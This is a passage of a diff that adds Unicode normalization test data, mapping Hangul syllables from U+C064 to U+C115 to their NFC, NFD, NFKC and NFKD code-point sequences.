+{ source: [0xC064], NFC: [0xC064], NFD: [0x1108, 0x1173, 0x11B3], NFKC: [0xC064], NFKD: [0x1108, 0x1173, 0x11B3] },
+{ source: [0xC065], NFC: [0xC065], NFD: [0x1108, 0x1173, 0x11B4], NFKC: [0xC065], NFKD: [0x1108, 0x1173, 0x11B4] },
+{ source: [0xC066], NFC: [0xC066], NFD: [0x1108, 0x1173, 0x11B5], NFKC: [0xC066], NFKD: [0x1108, 0x1173, 0x11B5] },
+{ source: [0xC067], NFC: [0xC067], NFD: [0x1108, 0x1173, 0x11B6], NFKC: [0xC067], NFKD: [0x1108, 0x1173, 0x11B6] },
+{ source: [0xC068], NFC: [0xC068], NFD: [0x1108, 0x1173, 0x11B7], NFKC: [0xC068], NFKD: [0x1108, 0x1173, 0x11B7] },
+{ source: [0xC069], NFC: [0xC069], NFD: [0x1108, 0x1173, 0x11B8], NFKC: [0xC069], NFKD: [0x1108, 0x1173, 0x11B8] },
+{ source: [0xC06A], NFC: [0xC06A], NFD: [0x1108, 0x1173, 0x11B9], NFKC: [0xC06A], NFKD: [0x1108, 0x1173, 0x11B9] },
+{ source: [0xC06B], NFC: [0xC06B], NFD: [0x1108, 0x1173, 0x11BA], NFKC: [0xC06B], NFKD: [0x1108, 0x1173, 0x11BA] },
+{ source: [0xC06C], NFC: [0xC06C], NFD: [0x1108, 0x1173, 0x11BB], NFKC: [0xC06C], NFKD: [0x1108, 0x1173, 0x11BB] },
+{ source: [0xC06D], NFC: [0xC06D], NFD: [0x1108, 0x1173, 0x11BC], NFKC: [0xC06D], NFKD: [0x1108, 0x1173, 0x11BC] },
+{ source: [0xC06E], NFC: [0xC06E], NFD: [0x1108, 0x1173, 0x11BD], NFKC: [0xC06E], NFKD: [0x1108, 0x1173, 0x11BD] },
+{ source: [0xC06F], NFC: [0xC06F], NFD: [0x1108, 0x1173, 0x11BE], NFKC: [0xC06F], NFKD: [0x1108, 0x1173, 0x11BE] },
+{ source: [0xC070], NFC: [0xC070], NFD: [0x1108, 0x1173, 0x11BF], NFKC: [0xC070], NFKD: [0x1108, 0x1173, 0x11BF] },
+{ source: [0xC071], NFC: [0xC071], NFD: [0x1108, 0x1173, 0x11C0], NFKC: [0xC071], NFKD: [0x1108, 0x1173, 0x11C0] },
+{ source: [0xC072], NFC: [0xC072], NFD: [0x1108, 0x1173, 0x11C1], NFKC: [0xC072], NFKD: [0x1108, 0x1173, 0x11C1] },
+{ source: [0xC073], NFC: [0xC073], NFD: [0x1108, 0x1173, 0x11C2], NFKC: [0xC073], NFKD: [0x1108, 0x1173, 0x11C2] },
+{ source: [0xC074], NFC: [0xC074], NFD: [0x1108, 0x1174], NFKC: [0xC074], NFKD: [0x1108, 0x1174] },
+{ source: [0xC075], NFC: [0xC075], NFD: [0x1108, 0x1174, 0x11A8], NFKC: [0xC075], NFKD: [0x1108, 0x1174, 0x11A8] },
+{ source: [0xC076], NFC: [0xC076], NFD: [0x1108, 0x1174, 0x11A9], NFKC: [0xC076], NFKD: [0x1108, 0x1174, 0x11A9] },
+{ source: [0xC077], NFC: [0xC077], NFD: [0x1108, 0x1174, 0x11AA], NFKC: [0xC077], NFKD: [0x1108, 0x1174, 0x11AA] },
+{ source: [0xC078], NFC: [0xC078], NFD: [0x1108, 0x1174, 0x11AB], NFKC: [0xC078], NFKD: [0x1108, 0x1174, 0x11AB] },
+{ source: [0xC079], NFC: [0xC079], NFD: [0x1108, 0x1174, 0x11AC], NFKC: [0xC079], NFKD: [0x1108, 0x1174, 0x11AC] },
+{ source: [0xC07A], NFC: [0xC07A], NFD: [0x1108, 0x1174, 0x11AD], NFKC: [0xC07A], NFKD: [0x1108, 0x1174, 0x11AD] },
+{ source: [0xC07B], NFC: [0xC07B], NFD: [0x1108, 0x1174, 0x11AE], NFKC: [0xC07B], NFKD: [0x1108, 0x1174, 0x11AE] },
+{ source: [0xC07C], NFC: [0xC07C], NFD: [0x1108, 0x1174, 0x11AF], NFKC: [0xC07C], NFKD: [0x1108, 0x1174, 0x11AF] },
+{ source: [0xC07D], NFC: [0xC07D], NFD: [0x1108, 0x1174, 0x11B0], NFKC: [0xC07D], NFKD: [0x1108, 0x1174, 0x11B0] },
+{ source: [0xC07E], NFC: [0xC07E], NFD: [0x1108, 0x1174, 0x11B1], NFKC: [0xC07E], NFKD: [0x1108, 0x1174, 0x11B1] },
+{ source: [0xC07F], NFC: [0xC07F], NFD: [0x1108, 0x1174, 0x11B2], NFKC: [0xC07F], NFKD: [0x1108, 0x1174, 0x11B2] },
+{ source: [0xC080], NFC: [0xC080], NFD: [0x1108, 0x1174, 0x11B3], NFKC: [0xC080], NFKD: [0x1108, 0x1174, 0x11B3] },
+{ source: [0xC081], NFC: [0xC081], NFD: [0x1108, 0x1174, 0x11B4], NFKC: [0xC081], NFKD: [0x1108, 0x1174, 0x11B4] },
+{ source: [0xC082], NFC: [0xC082], NFD: [0x1108, 0x1174, 0x11B5], NFKC: [0xC082], NFKD: [0x1108, 0x1174, 0x11B5] },
+{ source: [0xC083], NFC: [0xC083], NFD: [0x1108, 0x1174, 0x11B6], NFKC: [0xC083], NFKD: [0x1108, 0x1174, 0x11B6] },
+{ source: [0xC084], NFC: [0xC084], NFD: [0x1108, 0x1174, 0x11B7], NFKC: [0xC084], NFKD: [0x1108, 0x1174, 0x11B7] },
+{ source: [0xC085], NFC: [0xC085], NFD: [0x1108, 0x1174, 0x11B8], NFKC: [0xC085], NFKD: [0x1108, 0x1174, 0x11B8] },
+{ source: [0xC086], NFC: [0xC086], NFD: [0x1108, 0x1174, 0x11B9], NFKC: [0xC086], NFKD: [0x1108, 0x1174, 0x11B9] },
+{ source: [0xC087], NFC: [0xC087], NFD: [0x1108, 0x1174, 0x11BA], NFKC: [0xC087], NFKD: [0x1108, 0x1174, 0x11BA] },
+{ source: [0xC088], NFC: [0xC088], NFD: [0x1108, 0x1174, 0x11BB], NFKC: [0xC088], NFKD: [0x1108, 0x1174, 0x11BB] },
+{ source: [0xC089], NFC: [0xC089], NFD: [0x1108, 0x1174, 0x11BC], NFKC: [0xC089], NFKD: [0x1108, 0x1174, 0x11BC] },
+{ source: [0xC08A], NFC: [0xC08A], NFD: [0x1108, 0x1174, 0x11BD], NFKC: [0xC08A], NFKD: [0x1108, 0x1174, 0x11BD] },
+{ source: [0xC08B], NFC: [0xC08B], NFD: [0x1108, 0x1174, 0x11BE], NFKC: [0xC08B], NFKD: [0x1108, 0x1174, 0x11BE] },
+{ source: [0xC08C], NFC: [0xC08C], NFD: [0x1108, 0x1174, 0x11BF], NFKC: [0xC08C], NFKD: [0x1108, 0x1174, 0x11BF] },
+{ source: [0xC08D], NFC: [0xC08D], NFD: [0x1108, 0x1174, 0x11C0], NFKC: [0xC08D], NFKD: [0x1108, 0x1174, 0x11C0] },
+{ source: [0xC08E], NFC: [0xC08E], NFD: [0x1108, 0x1174, 0x11C1], NFKC: [0xC08E], NFKD: [0x1108, 0x1174, 0x11C1] },
+{ source: [0xC08F], NFC: [0xC08F], NFD: [0x1108, 0x1174, 0x11C2], NFKC: [0xC08F], NFKD: [0x1108, 0x1174, 0x11C2] },
+{ source: [0xC090], NFC: [0xC090], NFD: [0x1108, 0x1175], NFKC: [0xC090], NFKD: [0x1108, 0x1175] },
+{ source: [0xC091], NFC: [0xC091], NFD: [0x1108, 0x1175, 0x11A8], NFKC: [0xC091], NFKD: [0x1108, 0x1175, 0x11A8] },
+{ source: [0xC092], NFC: [0xC092], NFD: [0x1108, 0x1175, 0x11A9], NFKC: [0xC092], NFKD: [0x1108, 0x1175, 0x11A9] },
+{ source: [0xC093], NFC: [0xC093], NFD: [0x1108, 0x1175, 0x11AA], NFKC: [0xC093], NFKD: [0x1108, 0x1175, 0x11AA] },
+{ source: [0xC094], NFC: [0xC094], NFD: [0x1108, 0x1175, 0x11AB], NFKC: [0xC094], NFKD: [0x1108, 0x1175, 0x11AB] },
+{ source: [0xC095], NFC: [0xC095], NFD: [0x1108, 0x1175, 0x11AC], NFKC: [0xC095], NFKD: [0x1108, 0x1175, 0x11AC] },
+{ source: [0xC096], NFC: [0xC096], NFD: [0x1108, 0x1175, 0x11AD], NFKC: [0xC096], NFKD: [0x1108, 0x1175, 0x11AD] },
+{ source: [0xC097], NFC: [0xC097], NFD: [0x1108, 0x1175, 0x11AE], NFKC: [0xC097], NFKD: [0x1108, 0x1175, 0x11AE] },
+{ source: [0xC098], NFC: [0xC098], NFD: [0x1108, 0x1175, 0x11AF], NFKC: [0xC098], NFKD: [0x1108, 0x1175, 0x11AF] },
+{ source: [0xC099], NFC: [0xC099], NFD: [0x1108, 0x1175, 0x11B0], NFKC: [0xC099], NFKD: [0x1108, 0x1175, 0x11B0] },
+{ source: [0xC09A], NFC: [0xC09A], NFD: [0x1108, 0x1175, 0x11B1], NFKC: [0xC09A], NFKD: [0x1108, 0x1175, 0x11B1] },
+{ source: [0xC09B], NFC: [0xC09B], NFD: [0x1108, 0x1175, 0x11B2], NFKC: [0xC09B], NFKD: [0x1108, 0x1175, 0x11B2] },
+{ source: [0xC09C], NFC: [0xC09C], NFD: [0x1108, 0x1175, 0x11B3], NFKC: [0xC09C], NFKD: [0x1108, 0x1175, 0x11B3] },
+{ source: [0xC09D], NFC: [0xC09D], NFD: [0x1108, 0x1175, 0x11B4], NFKC: [0xC09D], NFKD: [0x1108, 0x1175, 0x11B4] },
+{ source: [0xC09E], NFC: [0xC09E], NFD: [0x1108, 0x1175, 0x11B5], NFKC: [0xC09E], NFKD: [0x1108, 0x1175, 0x11B5] },
+{ source: [0xC09F], NFC: [0xC09F], NFD: [0x1108, 0x1175, 0x11B6], NFKC: [0xC09F], NFKD: [0x1108, 0x1175, 0x11B6] },
+{ source: [0xC0A0], NFC: [0xC0A0], NFD: [0x1108, 0x1175, 0x11B7], NFKC: [0xC0A0], NFKD: [0x1108, 0x1175, 0x11B7] },
+{ source: [0xC0A1], NFC: [0xC0A1], NFD: [0x1108, 0x1175, 0x11B8], NFKC: [0xC0A1], NFKD: [0x1108, 0x1175, 0x11B8] },
+{ source: [0xC0A2], NFC: [0xC0A2], NFD: [0x1108, 0x1175, 0x11B9], NFKC: [0xC0A2], NFKD: [0x1108, 0x1175, 0x11B9] },
+{ source: [0xC0A3], NFC: [0xC0A3], NFD: [0x1108, 0x1175, 0x11BA], NFKC: [0xC0A3], NFKD: [0x1108, 0x1175, 0x11BA] },
+{ source: [0xC0A4], NFC: [0xC0A4], NFD: [0x1108, 0x1175, 0x11BB], NFKC: [0xC0A4], NFKD: [0x1108, 0x1175, 0x11BB] },
+{ source: [0xC0A5], NFC: [0xC0A5], NFD: [0x1108, 0x1175, 0x11BC], NFKC: [0xC0A5], NFKD: [0x1108, 0x1175, 0x11BC] },
+{ source: [0xC0A6], NFC: [0xC0A6], NFD: [0x1108, 0x1175, 0x11BD], NFKC: [0xC0A6], NFKD: [0x1108, 0x1175, 0x11BD] },
+{ source: [0xC0A7], NFC: [0xC0A7], NFD: [0x1108, 0x1175, 0x11BE], NFKC: [0xC0A7], NFKD: [0x1108, 0x1175, 0x11BE] },
+{ source: [0xC0A8], NFC: [0xC0A8], NFD: [0x1108, 0x1175, 0x11BF], NFKC: [0xC0A8], NFKD: [0x1108, 0x1175, 0x11BF] },
+{ source: [0xC0A9], NFC: [0xC0A9], NFD: [0x1108, 0x1175, 0x11C0], NFKC: [0xC0A9], NFKD: [0x1108, 0x1175, 0x11C0] },
+{ source: [0xC0AA], NFC: [0xC0AA], NFD: [0x1108, 0x1175, 0x11C1], NFKC: [0xC0AA], NFKD: [0x1108, 0x1175, 0x11C1] },
+{ source: [0xC0AB], NFC: [0xC0AB], NFD: [0x1108, 0x1175, 0x11C2], NFKC: [0xC0AB], NFKD: [0x1108, 0x1175, 0x11C2] },
+{ source: [0xC0AC], NFC: [0xC0AC], NFD: [0x1109, 0x1161], NFKC: [0xC0AC], NFKD: [0x1109, 0x1161] },
+{ source: [0xC0AD], NFC: [0xC0AD], NFD: [0x1109, 0x1161, 0x11A8], NFKC: [0xC0AD], NFKD: [0x1109, 0x1161, 0x11A8] },
+{ source: [0xC0AE], NFC: [0xC0AE], NFD: [0x1109, 0x1161, 0x11A9], NFKC: [0xC0AE], NFKD: [0x1109, 0x1161, 0x11A9] },
+{ source: [0xC0AF], NFC: [0xC0AF], NFD: [0x1109, 0x1161, 0x11AA], NFKC: [0xC0AF], NFKD: [0x1109, 0x1161, 0x11AA] },
+{ source: [0xC0B0], NFC: [0xC0B0], NFD: [0x1109, 0x1161, 0x11AB], NFKC: [0xC0B0], NFKD: [0x1109, 0x1161, 0x11AB] },
+{ source: [0xC0B1], NFC: [0xC0B1], NFD: [0x1109, 0x1161, 0x11AC], NFKC: [0xC0B1], NFKD: [0x1109, 0x1161, 0x11AC] },
+{ source: [0xC0B2], NFC: [0xC0B2], NFD: [0x1109, 0x1161, 0x11AD], NFKC: [0xC0B2], NFKD: [0x1109, 0x1161, 0x11AD] },
+{ source: [0xC0B3], NFC: [0xC0B3], NFD: [0x1109, 0x1161, 0x11AE], NFKC: [0xC0B3], NFKD: [0x1109, 0x1161, 0x11AE] },
+{ source: [0xC0B4], NFC: [0xC0B4], NFD: [0x1109, 0x1161, 0x11AF], NFKC: [0xC0B4], NFKD: [0x1109, 0x1161, 0x11AF] },
+{ source: [0xC0B5], NFC: [0xC0B5], NFD: [0x1109, 0x1161, 0x11B0], NFKC: [0xC0B5], NFKD: [0x1109, 0x1161, 0x11B0] },
+{ source: [0xC0B6], NFC: [0xC0B6], NFD: [0x1109, 0x1161, 0x11B1], NFKC: [0xC0B6], NFKD: [0x1109, 0x1161, 0x11B1] },
+{ source: [0xC0B7], NFC: [0xC0B7], NFD: [0x1109, 0x1161, 0x11B2], NFKC: [0xC0B7], NFKD: [0x1109, 0x1161, 0x11B2] },
+{ source: [0xC0B8], NFC: [0xC0B8], NFD: [0x1109, 0x1161, 0x11B3], NFKC: [0xC0B8], NFKD: [0x1109, 0x1161, 0x11B3] },
+{ source: [0xC0B9], NFC: [0xC0B9], NFD: [0x1109, 0x1161, 0x11B4], NFKC: [0xC0B9], NFKD: [0x1109, 0x1161, 0x11B4] },
+{ source: [0xC0BA], NFC: [0xC0BA], NFD: [0x1109, 0x1161, 0x11B5], NFKC: [0xC0BA], NFKD: [0x1109, 0x1161, 0x11B5] },
+{ source: [0xC0BB], NFC: [0xC0BB], NFD: [0x1109, 0x1161, 0x11B6], NFKC: [0xC0BB], NFKD: [0x1109, 0x1161, 0x11B6] },
+{ source: [0xC0BC], NFC: [0xC0BC], NFD: [0x1109, 0x1161, 0x11B7], NFKC: [0xC0BC], NFKD: [0x1109, 0x1161, 0x11B7] },
+{ source: [0xC0BD], NFC: [0xC0BD], NFD: [0x1109, 0x1161, 0x11B8], NFKC: [0xC0BD], NFKD: [0x1109, 0x1161, 0x11B8] },
+{ source: [0xC0BE], NFC: [0xC0BE], NFD: [0x1109, 0x1161, 0x11B9], NFKC: [0xC0BE], NFKD: [0x1109, 0x1161, 0x11B9] },
+{ source: [0xC0BF], NFC: [0xC0BF], NFD: [0x1109, 0x1161, 0x11BA], NFKC: [0xC0BF], NFKD: [0x1109, 0x1161, 0x11BA] },
+{ source: [0xC0C0], NFC: [0xC0C0], NFD: [0x1109, 0x1161, 0x11BB], NFKC: [0xC0C0], NFKD: [0x1109, 0x1161, 0x11BB] },
+{ source: [0xC0C1], NFC: [0xC0C1], NFD: [0x1109, 0x1161, 0x11BC], NFKC: [0xC0C1], NFKD: [0x1109, 0x1161, 0x11BC] },
+{ source: [0xC0C2], NFC: [0xC0C2], NFD: [0x1109, 0x1161, 0x11BD], NFKC: [0xC0C2], NFKD: [0x1109, 0x1161, 0x11BD] },
+{ source: [0xC0C3], NFC: [0xC0C3], NFD: [0x1109, 0x1161, 0x11BE], NFKC: [0xC0C3], NFKD: [0x1109, 0x1161, 0x11BE] },
+{ source: [0xC0C4], NFC: [0xC0C4], NFD: [0x1109, 0x1161, 0x11BF], NFKC: [0xC0C4], NFKD: [0x1109, 0x1161, 0x11BF] },
+{ source: [0xC0C5], NFC: [0xC0C5], NFD: [0x1109, 0x1161, 0x11C0], NFKC: [0xC0C5], NFKD: [0x1109, 0x1161, 0x11C0] },
+{ source: [0xC0C6], NFC: [0xC0C6], NFD: [0x1109, 0x1161, 0x11C1], NFKC: [0xC0C6], NFKD: [0x1109, 0x1161, 0x11C1] },
+{ source: [0xC0C7], NFC: [0xC0C7], NFD: [0x1109, 0x1161, 0x11C2], NFKC: [0xC0C7], NFKD: [0x1109, 0x1161, 0x11C2] },
+{ source: [0xC0C8], NFC: [0xC0C8], NFD: [0x1109, 0x1162], NFKC: [0xC0C8], NFKD: [0x1109, 0x1162] },
+{ source: [0xC0C9], NFC: [0xC0C9], NFD: [0x1109, 0x1162, 0x11A8], NFKC: [0xC0C9], NFKD: [0x1109, 0x1162, 0x11A8] },
+{ source: [0xC0CA], NFC: [0xC0CA], NFD: [0x1109, 0x1162, 0x11A9], NFKC: [0xC0CA], NFKD: [0x1109, 0x1162, 0x11A9] },
+{ source: [0xC0CB], NFC: [0xC0CB], NFD: [0x1109, 0x1162, 0x11AA], NFKC: [0xC0CB], NFKD: [0x1109, 0x1162, 0x11AA] },
+{ source: [0xC0CC], NFC: [0xC0CC], NFD: [0x1109, 0x1162, 0x11AB], NFKC: [0xC0CC], NFKD: [0x1109, 0x1162, 0x11AB] },
+{ source: [0xC0CD], NFC: [0xC0CD], NFD: [0x1109, 0x1162, 0x11AC], NFKC: [0xC0CD], NFKD: [0x1109, 0x1162, 0x11AC] },
+{ source: [0xC0CE], NFC: [0xC0CE], NFD: [0x1109, 0x1162, 0x11AD], NFKC: [0xC0CE], NFKD: [0x1109, 0x1162, 0x11AD] },
+{ source: [0xC0CF], NFC: [0xC0CF], NFD: [0x1109, 0x1162, 0x11AE], NFKC: [0xC0CF], NFKD: [0x1109, 0x1162, 0x11AE] },
+{ source: [0xC0D0], NFC: [0xC0D0], NFD: [0x1109, 0x1162, 0x11AF], NFKC: [0xC0D0], NFKD: [0x1109, 0x1162, 0x11AF] },
+{ source: [0xC0D1], NFC: [0xC0D1], NFD: [0x1109, 0x1162, 0x11B0], NFKC: [0xC0D1], NFKD: [0x1109, 0x1162, 0x11B0] },
+{ source: [0xC0D2], NFC: [0xC0D2], NFD: [0x1109, 0x1162, 0x11B1], NFKC: [0xC0D2], NFKD: [0x1109, 0x1162, 0x11B1] },
+{ source: [0xC0D3], NFC: [0xC0D3], NFD: [0x1109, 0x1162, 0x11B2], NFKC: [0xC0D3], NFKD: [0x1109, 0x1162, 0x11B2] },
+{ source: [0xC0D4], NFC: [0xC0D4], NFD: [0x1109, 0x1162, 0x11B3], NFKC: [0xC0D4], NFKD: [0x1109, 0x1162, 0x11B3] },
+{ source: [0xC0D5], NFC: [0xC0D5], NFD: [0x1109, 0x1162, 0x11B4], NFKC: [0xC0D5], NFKD: [0x1109, 0x1162, 0x11B4] },
+{ source: [0xC0D6], NFC: [0xC0D6], NFD: [0x1109, 0x1162, 0x11B5], NFKC: [0xC0D6], NFKD: [0x1109, 0x1162, 0x11B5] },
+{ source: [0xC0D7], NFC: [0xC0D7], NFD: [0x1109, 0x1162, 0x11B6], NFKC: [0xC0D7], NFKD: [0x1109, 0x1162, 0x11B6] },
+{ source: [0xC0D8], NFC: [0xC0D8], NFD: [0x1109, 0x1162, 0x11B7], NFKC: [0xC0D8], NFKD: [0x1109, 0x1162, 0x11B7] },
+{ source: [0xC0D9], NFC: [0xC0D9], NFD: [0x1109, 0x1162, 0x11B8], NFKC: [0xC0D9], NFKD: [0x1109, 0x1162, 0x11B8] },
+{ source: [0xC0DA], NFC: [0xC0DA], NFD: [0x1109, 0x1162, 0x11B9], NFKC: [0xC0DA], NFKD: [0x1109, 0x1162, 0x11B9] },
+{ source: [0xC0DB], NFC: [0xC0DB], NFD: [0x1109, 0x1162, 0x11BA], NFKC: [0xC0DB], NFKD: [0x1109, 0x1162, 0x11BA] },
+{ source: [0xC0DC], NFC: [0xC0DC], NFD: [0x1109, 0x1162, 0x11BB], NFKC: [0xC0DC], NFKD: [0x1109, 0x1162, 0x11BB] },
+{ source: [0xC0DD], NFC: [0xC0DD], NFD: [0x1109, 0x1162, 0x11BC], NFKC: [0xC0DD], NFKD: [0x1109, 0x1162, 0x11BC] },
+{ source: [0xC0DE], NFC: [0xC0DE], NFD: [0x1109, 0x1162, 0x11BD], NFKC: [0xC0DE], NFKD: [0x1109, 0x1162, 0x11BD] },
+{ source: [0xC0DF], NFC: [0xC0DF], NFD: [0x1109, 0x1162, 0x11BE], NFKC: [0xC0DF], NFKD: [0x1109, 0x1162, 0x11BE] },
+{ source: [0xC0E0], NFC: [0xC0E0], NFD: [0x1109, 0x1162, 0x11BF], NFKC: [0xC0E0], NFKD: [0x1109, 0x1162, 0x11BF] },
+{ source: [0xC0E1], NFC: [0xC0E1], NFD: [0x1109, 0x1162, 0x11C0], NFKC: [0xC0E1], NFKD: [0x1109, 0x1162, 0x11C0] },
+{ source: [0xC0E2], NFC: [0xC0E2], NFD: [0x1109, 0x1162, 0x11C1], NFKC: [0xC0E2], NFKD: [0x1109, 0x1162, 0x11C1] },
+{ source: [0xC0E3], NFC: [0xC0E3], NFD: [0x1109, 0x1162, 0x11C2], NFKC: [0xC0E3], NFKD: [0x1109, 0x1162, 0x11C2] },
+{ source: [0xC0E4], NFC: [0xC0E4], NFD: [0x1109, 0x1163], NFKC: [0xC0E4], NFKD: [0x1109, 0x1163] },
+{ source: [0xC0E5], NFC: [0xC0E5], NFD: [0x1109, 0x1163, 0x11A8], NFKC: [0xC0E5], NFKD: [0x1109, 0x1163, 0x11A8] },
+{ source: [0xC0E6], NFC: [0xC0E6], NFD: [0x1109, 0x1163, 0x11A9], NFKC: [0xC0E6], NFKD: [0x1109, 0x1163, 0x11A9] },
+{ source: [0xC0E7], NFC: [0xC0E7], NFD: [0x1109, 0x1163, 0x11AA], NFKC: [0xC0E7], NFKD: [0x1109, 0x1163, 0x11AA] },
+{ source: [0xC0E8], NFC: [0xC0E8], NFD: [0x1109, 0x1163, 0x11AB], NFKC: [0xC0E8], NFKD: [0x1109, 0x1163, 0x11AB] },
+{ source: [0xC0E9], NFC: [0xC0E9], NFD: [0x1109, 0x1163, 0x11AC], NFKC: [0xC0E9], NFKD: [0x1109, 0x1163, 0x11AC] },
+{ source: [0xC0EA], NFC: [0xC0EA], NFD: [0x1109, 0x1163, 0x11AD], NFKC: [0xC0EA], NFKD: [0x1109, 0x1163, 0x11AD] },
+{ source: [0xC0EB], NFC: [0xC0EB], NFD: [0x1109, 0x1163, 0x11AE], NFKC: [0xC0EB], NFKD: [0x1109, 0x1163, 0x11AE] },
+{ source: [0xC0EC], NFC: [0xC0EC], NFD: [0x1109, 0x1163, 0x11AF], NFKC: [0xC0EC], NFKD: [0x1109, 0x1163, 0x11AF] },
+{ source: [0xC0ED], NFC: [0xC0ED], NFD: [0x1109, 0x1163, 0x11B0], NFKC: [0xC0ED], NFKD: [0x1109, 0x1163, 0x11B0] },
+{ source: [0xC0EE], NFC: [0xC0EE], NFD: [0x1109, 0x1163, 0x11B1], NFKC: [0xC0EE], NFKD: [0x1109, 0x1163, 0x11B1] },
+{ source: [0xC0EF], NFC: [0xC0EF], NFD: [0x1109, 0x1163, 0x11B2], NFKC: [0xC0EF], NFKD: [0x1109, 0x1163, 0x11B2] },
+{ source: [0xC0F0], NFC: [0xC0F0], NFD: [0x1109, 0x1163, 0x11B3], NFKC: [0xC0F0], NFKD: [0x1109, 0x1163, 0x11B3] },
+{ source: [0xC0F1], NFC: [0xC0F1], NFD: [0x1109, 0x1163, 0x11B4], NFKC: [0xC0F1], NFKD: [0x1109, 0x1163, 0x11B4] },
+{ source: [0xC0F2], NFC: [0xC0F2], NFD: [0x1109, 0x1163, 0x11B5], NFKC: [0xC0F2], NFKD: [0x1109, 0x1163, 0x11B5] },
+{ source: [0xC0F3], NFC: [0xC0F3], NFD: [0x1109, 0x1163, 0x11B6], NFKC: [0xC0F3], NFKD: [0x1109, 0x1163, 0x11B6] },
+{ source: [0xC0F4], NFC: [0xC0F4], NFD: [0x1109, 0x1163, 0x11B7], NFKC: [0xC0F4], NFKD: [0x1109, 0x1163, 0x11B7] },
+{ source: [0xC0F5], NFC: [0xC0F5], NFD: [0x1109, 0x1163, 0x11B8], NFKC: [0xC0F5], NFKD: [0x1109, 0x1163, 0x11B8] },
+{ source: [0xC0F6], NFC: [0xC0F6], NFD: [0x1109, 0x1163, 0x11B9], NFKC: [0xC0F6], NFKD: [0x1109, 0x1163, 0x11B9] },
+{ source: [0xC0F7], NFC: [0xC0F7], NFD: [0x1109, 0x1163, 0x11BA], NFKC: [0xC0F7], NFKD: [0x1109, 0x1163, 0x11BA] },
+{ source: [0xC0F8], NFC: [0xC0F8], NFD: [0x1109, 0x1163, 0x11BB], NFKC: [0xC0F8], NFKD: [0x1109, 0x1163, 0x11BB] },
+{ source: [0xC0F9], NFC: [0xC0F9], NFD: [0x1109, 0x1163, 0x11BC], NFKC: [0xC0F9], NFKD: [0x1109, 0x1163, 0x11BC] },
+{ source: [0xC0FA], NFC: [0xC0FA], NFD: [0x1109, 0x1163, 0x11BD], NFKC: [0xC0FA], NFKD: [0x1109, 0x1163, 0x11BD] },
+{ source: [0xC0FB], NFC: [0xC0FB], NFD: [0x1109, 0x1163, 0x11BE], NFKC: [0xC0FB], NFKD: [0x1109, 0x1163, 0x11BE] },
+{ source: [0xC0FC], NFC: [0xC0FC], NFD: [0x1109, 0x1163, 0x11BF], NFKC: [0xC0FC], NFKD: [0x1109, 0x1163, 0x11BF] },
+{ source: [0xC0FD], NFC: [0xC0FD], NFD: [0x1109, 0x1163, 0x11C0], NFKC: [0xC0FD], NFKD: [0x1109, 0x1163, 0x11C0] },
+{ source: [0xC0FE], NFC: [0xC0FE], NFD: [0x1109, 0x1163, 0x11C1], NFKC: [0xC0FE], NFKD: [0x1109, 0x1163, 0x11C1] },
+{ source: [0xC0FF], NFC: [0xC0FF], NFD: [0x1109, 0x1163, 0x11C2], NFKC: [0xC0FF], NFKD: [0x1109, 0x1163, 0x11C2] },
+{ source: [0xC100], NFC: [0xC100], NFD: [0x1109, 0x1164], NFKC: [0xC100], NFKD: [0x1109, 0x1164] },
+{ source: [0xC101], NFC: [0xC101], NFD: [0x1109, 0x1164, 0x11A8], NFKC: [0xC101], NFKD: [0x1109, 0x1164, 0x11A8] },
+{ source: [0xC102], NFC: [0xC102], NFD: [0x1109, 0x1164, 0x11A9], NFKC: [0xC102], NFKD: [0x1109, 0x1164, 0x11A9] },
+{ source: [0xC103], NFC: [0xC103], NFD: [0x1109, 0x1164, 0x11AA], NFKC: [0xC103], NFKD: [0x1109, 0x1164, 0x11AA] },
+{ source: [0xC104], NFC: [0xC104], NFD: [0x1109, 0x1164, 0x11AB], NFKC: [0xC104], NFKD: [0x1109, 0x1164, 0x11AB] },
+{ source: [0xC105], NFC: [0xC105], NFD: [0x1109, 0x1164, 0x11AC], NFKC: [0xC105], NFKD: [0x1109, 0x1164, 0x11AC] },
+{ source: [0xC106], NFC: [0xC106], NFD: [0x1109, 0x1164, 0x11AD], NFKC: [0xC106], NFKD: [0x1109, 0x1164, 0x11AD] },
+{ source: [0xC107], NFC: [0xC107], NFD: [0x1109, 0x1164, 0x11AE], NFKC: [0xC107], NFKD: [0x1109, 0x1164, 0x11AE] },
+{ source: [0xC108], NFC: [0xC108], NFD: [0x1109, 0x1164, 0x11AF], NFKC: [0xC108], NFKD: [0x1109, 0x1164, 0x11AF] },
+{ source: [0xC109], NFC: [0xC109], NFD: [0x1109, 0x1164, 0x11B0], NFKC: [0xC109], NFKD: [0x1109, 0x1164, 0x11B0] },
+{ source: [0xC10A], NFC: [0xC10A], NFD: [0x1109, 0x1164, 0x11B1], NFKC: [0xC10A], NFKD: [0x1109, 0x1164, 0x11B1] },
+{ source: [0xC10B], NFC: [0xC10B], NFD: [0x1109, 0x1164, 0x11B2], NFKC: [0xC10B], NFKD: [0x1109, 0x1164, 0x11B2] },
+{ source: [0xC10C], NFC: [0xC10C], NFD: [0x1109, 0x1164, 0x11B3], NFKC: [0xC10C], NFKD: [0x1109, 0x1164, 0x11B3] },
+{ source: [0xC10D], NFC: [0xC10D], NFD: [0x1109, 0x1164, 0x11B4], NFKC: [0xC10D], NFKD: [0x1109, 0x1164, 0x11B4] },
+{ source: [0xC10E], NFC: [0xC10E], NFD: [0x1109, 0x1164, 0x11B5], NFKC: [0xC10E], NFKD: [0x1109, 0x1164, 0x11B5] },
+{ source: [0xC10F], NFC: [0xC10F], NFD: [0x1109, 0x1164, 0x11B6], NFKC: [0xC10F], NFKD: [0x1109, 0x1164, 0x11B6] },
+{ source: [0xC110], NFC: [0xC110], NFD: [0x1109, 0x1164, 0x11B7], NFKC: [0xC110], NFKD: [0x1109, 0x1164, 0x11B7] },
+{ source: [0xC111], NFC: [0xC111], NFD: [0x1109, 0x1164, 0x11B8], NFKC: [0xC111], NFKD: [0x1109, 0x1164, 0x11B8] },
+{ source: [0xC112], NFC: [0xC112], NFD: [0x1109, 0x1164, 0x11B9], NFKC: [0xC112], NFKD: [0x1109, 0x1164, 0x11B9] },
+{ source: [0xC113], NFC: [0xC113], NFD: [0x1109, 0x1164, 0x11BA], NFKC: [0xC113], NFKD: [0x1109, 0x1164, 0x11BA] },
+{ source: [0xC114], NFC: [0xC114], NFD: [0x1109, 0x1164, 0x11BB], NFKC: [0xC114], NFKD: [0x1109, 0x1164, 0x11BB] },
+{ source: [0xC115], NFC: [0xC115], NFD: [0x1109, 0x1164, 0x11BC], NFKC: [0xC115], NFKD: [0x1109, 0x1164, 0x11BC] },
